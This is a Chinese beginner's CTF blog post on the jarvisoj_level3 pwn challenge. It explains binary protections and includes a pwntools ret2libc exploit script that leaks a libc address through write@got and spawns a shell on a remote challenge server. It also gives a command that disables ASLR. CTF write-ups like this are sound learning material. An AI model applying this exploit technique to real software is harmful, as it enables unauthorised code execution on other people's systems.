自己的第一篇博客

*其实很早就想写博客了但是自己安全学的比较晚而且也很菜,现在虽然还是比较菜但是也是有一些心得的

*第一个问题什么是ctf,根据某度来说:CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。已经成为全球范围网络安全圈流行的竞赛形式,2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地,DEFCON CTF也成为了全球最高技术水平和影响力的CTF竞赛,类似于CTF赛场中的“世界杯” 。(偷偷告诉你ctf比赛打得好软妹币少不了)

*而pwn(二进制安全)就是ctf比赛中的一项,是一项偏底层的网络安全方向

今天带来一道ret2libc,至于什么是ret2libc和pwn的学习历程日后会继续写下去,也是巩固自己的知识。

pwn的做题流程(使用系统为Ubuntu18.04)

1.先用file命令查看文件的基本信息



第一个箭头指的是该文件的位数第二个是该文件所在本地加载所需的libc链接库

2.用checksec命令查看文件所开启的保护

Pwn的常见保护介绍

一:canary

Canary是金丝雀的意思。技术上表示最先的测试的意思。这个来自以前挖煤的时候,矿工都会先把金丝雀放进矿洞,或者挖煤的时候一直带着金丝雀。金丝雀对甲烷和一氧化碳浓度比较敏感,会先报警。所以大家都用canary来搞最先的测试。stack canary表示栈的报警保护。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

二:NX保护

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。栈溢出的核心就是通过局部变量覆盖返回地址,然后加入shellcode,NX策略是使栈区域的代码无法执行。当NX保护开启,就表示题目给了你system(‘/bin/sh’),如果关闭,表示你需要自己去构造shellcode,可参考我的level2

三:PIE

PIE(ASLR),内存地址随机化机制(address space layout randomization),有以下三种情况

0 - 表示关闭进程地址空间随机化。

1 - 表示将mmap的基址,stack和vdso页面随机化。

2 - 表示在1的基础上增加栈(heap)的随机化。

该保护能使每次运行的程序的地址都不同,防止根据固定地址来写exp执行攻击。
liunx下关闭PIE的命令如下:
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

四:RELRO

Relocation Read-Only (RELRO) 可以使程序某些部分成为只读的。它分为两种,Partial RELRO 和 Full RELRO,即 部分RELRO 和 完全RELRO。

部分RELRO 是 GCC 的默认设置,几乎所有的二进制文件都至少使用 部分RELRO。这样仅仅只能防止全局变量上的缓冲区溢出从而覆盖 GOT。

完全RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。



可以发现没有开启栈溢出保护和地址随机化

3.用IDA逆向一下看看(以后还要在好好学习一下IDA毕竟是神器吗)



进入vulnerable_function()



可以发现在箭头指向的地方明显有一个栈溢出漏洞

然后我们再看一下有没有gadget



没有,我们只能自己泄露libc的地址自己构造shellcode了

重点:我们在利用got表泄露地址的时候一定要看这个泄露地址的函数是否在之前被调用了如果没有那么got里存的就不是加载的地址而是plt【2】这道题没有但是之前做题的时候被这里卡住过

还有一个地方就是32位函数的传参是用栈来进行的而64为的则使用rdi rsi rdx rcx r8 r9 然后在是栈

4.最后就是exp

点击查看代码
from pwn import *
from LibcSearcher import *
context.log_level = 'debug' conn = remote("node4.buuoj.cn",28774)
elf = ELF('./level3')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x0804844B payload = b'a'*0x88 + b'b'*4 + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) conn.sendlineafter("Input:\n",payload) write_addr = u32(conn.recv(4))
print(hex(write_addr)) libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh') payload = b'a'*0x88 + b'b'*4 + p32(system_addr) + p32(main_addr) + p32(bin_sh) conn.sendlineafter("Input:\n",payload) conn.interactive()
~
~
~

jarvisoj_level3的更多相关文章

  1. [BUUCTF]PWN——jarvisoj_level3

    jarvisoj_level3 附件 步骤 例行检查,32位,nx保护 运行一下程序 32位ida载入,shift+f12没有看到程序里有可以直接利用的后面函数,根据运行时的字符串找到了程序的关键函数 ...

  2. Buuctf刷题:部分

    get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...

  3. BUUCTF-PWN-第一页writep(32题)

    温故而知新,可以为师矣.所以花了几天时间重新做了下 buuctf 的 pwn 题,先发下第一页共 32 题的题解.还有如果题解都很详细那么本文就太长了,写起来也浪费时间,所以比较简单的题就直接丢 ex ...

随机推荐

  1. ApacheJemeter的简单使用

    前言:最近由于工作需要进行接口测试,故简单复习一下ApacheJemeter的使用 安装包下载地址: 链接:https://pan.baidu.com/s/11ywNWRUkFNNBCWw4HiO6B ...

  2. Ubuntu16.04的PHP开发环境配置

    \3c a { text-decoration: none } 自从换了php开发之后发现还是开源语言才是长久之道,开发环境搭建方便,支持的平台也多,性能也好,考虑到这些,其他一些不如意也就不足为虑了 ...

  3. 阿里云无法ping通解决

    https://blog.csdn.net/longgeaisisi/article/details/78429099

  4. 群聊(udp)

    import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import ...

  5. Kubernetes(K8s)基础概念 —— 凿壁偷光

    Kubernetes(K8s)基础概念  --  凿壁偷光 K8s是什么:全称 kubernetes  (k12345678s) 作用:用于自动部署,扩展和管理"容器化应用程序"的 ...

  6. Elasticsearch使用系列-.NET6对接Elasticsearch

    Elasticsearch使用系列-ES简介和环境搭建 Elasticsearch使用系列-ES增删查改基本操作+ik分词 Elasticsearch使用系列-基本查询和聚合查询+sql插件 Elas ...

  7. 我来教你如何将cpu使用率up起来(shell脚本[含注释])

    这个脚本是为了逃过一些资源检测的,当一些机器当前使用率偏低,会被客户要求收回,那咋办呢?使用下面的脚本,就可以留住你的机器了 假设要求cpu使用率不能低于35% 使用方法:bash up_up_up. ...

  8. ansible手动添加模块

    文章目录 安装ansible 验证ansible版本 定义ansible配置文件路径 为ansible添加模块 由于使用pip安装的ansible,自带的模块会比较少,有的模块会不存在,需要自己手动添 ...

  9. MYSQL优化的一些性能与技巧

    1. 为查询缓存优化你的查询 大多数的MySQL服务器都开启了查询缓存.这是提高性最有效的方法之一,而且这是被MySQL的数据库引擎处理的.当有很多相同的查询被执行了多次的时候,这些查询结果会被放到一 ...

  10. Mybatis的介绍和基本使用

    巨人的肩膀 Mybatis的介绍和基本使用(1) (qq.com) Mybatis SQL映射文件详解(2) (qq.com)